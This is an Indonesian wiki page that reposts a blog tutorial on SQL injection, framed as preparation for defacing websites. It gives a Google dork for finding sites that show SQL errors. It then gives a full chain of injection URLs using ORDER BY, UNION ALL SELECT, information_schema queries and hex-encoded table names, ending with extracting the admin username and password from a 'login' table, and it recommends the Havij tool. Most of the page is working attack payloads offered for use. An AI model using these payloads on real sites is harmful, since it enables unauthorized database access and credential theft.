SQL Injection Web dengan Dork

From OnnoWiki
Revision as of 20:39, 4 January 2011 by Onnowpurbo (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

Sumber: http://ujie-caprone.blogspot.com/2010/12/sql-injection-web-dengan-dork.html

Posted by Ujie Caprone on 23.39

SQL injection merupakan aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. Langsung aja ya ke permasalahannya yaitu Teknik SQL Injection dengan Dork namun Sebelum men daface sebuah situs, kita bisa menggunakan dork Sql Injection dengan bantuan om google

inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"

Misal yang didapat :

http://www.targetweb.com/detailproduct.php?id=35

untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url

http://www.targetweb.com/detailproduct.php?id=35'


Setelah itu akan muncul bug pesan error :

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1

Untuk mencari column gunakan perintah [ order by ]

http://www.targetweb.com/detailproduct.php?id=35 order by 1--

mulai dari angka 1,2,3 dan seterusnya hingga menemukan pesan error selanjutnya 2, dst sampe muncul pesan error "Unknown column '17' in 'order clause'"

Pesan error muncul pada angka 17

http://www.targetweb.com/detailproduct.php?id=35 order by 17--

muncul pesan error:

Unknown column '17' in 'order clause'

Jadi angka yang diambil adalah 17-1 = 16 (jumlah column adalah 16)

Berikutnya kita akan mencari "angka" dimana dengan angka tersebut kita bisa melakukan injection dengan perintah "union all select"

http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 35

akan muncul "angka" : 4, 7 dan 13

Pilih salah satunya saja, misal 4 Langsung kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 4

http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16--

Nanti diweb tersebut akan muncul tulisan :

5.0.91-community

Ternyata versi 5, kalau versi 4 lain waktu akan saya bahas.

Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka dan menambahkan

"+from+information_schema.tables+where+table_schema=database()--" di belakang angka 16
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+where table_schema=database()--

Akan muncul nama-nama table :

login,tbanner,tcatprod,tproduct,tset dan lain-lain

Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password, kali ini kita ambil table "login" sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :

http://cyber4rt.com/~converter

ketik : login

pilih ASCII to Hex
hasilnya : 6c6f67696e

Perintah selanjutnya adalah "group_concat(column_name)" pada angka 4 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL

ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert ke hexa

http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.columns+where+table_name=0x6c6f67696e--

muncul column : user,pass

untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 4 dan +from+NAMATABLE-- pada akhir URL

ganti column 1 dengan " user " dan column 2 dengan " pass " 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa NAMA TABLE diganti dengan " login " untuk mengambil informasi dari table yang bernama "login"

http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(user,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16+from+login--
hasil : admin:admin

jadi,

user = admin
password = admin

Selesai pencarian User dan Password, dilanjutkan ke pencarian Page Admin. Untuk mencari page admin, gunakan aplikasi berikut:

Instant SQLI

Atau juga bisa gunakan Aplikasi Havij

NB: ini saya ambil dari tutor yang saya baca dan sedikit saya ubah bahasa penulisan dan web tujuan.


Referensi

Pranala Menarik